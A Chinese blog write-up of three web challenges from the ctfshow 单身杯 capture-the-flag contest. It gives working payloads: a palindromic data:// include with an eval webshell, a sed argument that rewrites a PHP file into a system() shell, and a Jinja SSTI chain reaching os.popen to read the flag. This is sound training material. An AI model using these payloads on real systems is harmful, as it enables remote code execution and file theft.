ctfshow单身杯

发布于 2022-05-25  19 次阅读


ctfshow单身杯

web1. web签到

题目代码如下:

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }

}

从代码来看,就是构造一个正反一样的字符串,还能包含进行rce,直接使用data协议即可,data协议后,php标记?>闭合后可以加任意字符。

payload:

file=data://text/plain,<?php eval($_GET[1]);?>>?;)]1[TEG_$(lave php?<,nialp/txet//:atad&1=system("cat /f*");

web2. easyPHP

题目代码如下:

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
$param = $_POST['param'];

if(isset($cmd) && isset($param)){
    $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
    shell_exec($cmd);
}

这里有一个问题,shell_exec()是没有回显的函数,它只会在后端执行,不会打印后端的结果。

所以我们必须构造一个新的一句话木马进行回显。

看两个PHP的命令

escapeshellcmd

 escapeshellcmd(string $command): string

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。

​ 反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$`, \x0A\xFF'" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$`, \x0A\xFF'" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

此函数保证用户输入的数据在传送到shell函数之前进行转义。

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

escapeshellarg(string $arg): string

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符


方法一、利用sed命令

sed 是 stream editor 的缩写,中文称之为“流编辑器”。

sed 命令是一个面向行处理的工具,它以“行”为处理单位,针对每一行进行处理,处理后的结果会输出到标准输出(STDOUT)。你会发现 sed 命令是很懂礼貌的一个命令,它不会对读取的文件做任何贸然的修改,而是将内容都输出到标准输出中。

参考链接:https://www.twle.cn/c/yufei/sed/sed-basic-index.html

学习一下sed命令之后

可以想到,直接找到含有escape的这一行,

并且讲shell_exec改成system

删除之后保存到1.php中。

注意的是sed函数常数的连接用;连接

payload

cmd=sed&param=/esca/d;s/shell_exec/system/g;w 1.php

image-20220525155904130

最后直接rce读取flag

方法二、利用awk命令

参考文档:https://www.twle.cn/c/yufei/awk/awk-basic-index.html

官方给的另一种预期解,使用awk执行系统命令,可以先ls />a拿到根目录的信息,然后再

img

下载a文件即可拿到flag

web3. 姻缘测试

题目界面如下:

img

右键查看源代码,可以看到

自动换行
def is_hacker(string):
        """整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
        if "{" in string and "}" in string :
                return True
        else:
                return False
        

这里用了and,分开执行即可绕过,直接输入a和b可以得到

img

说明有回显,直接修改payload

result?boy_name={{%27&girl_name=%27.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__(%27os%27).popen(%27cat /flag.txt%27).read()}}

image-20220525162920638


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”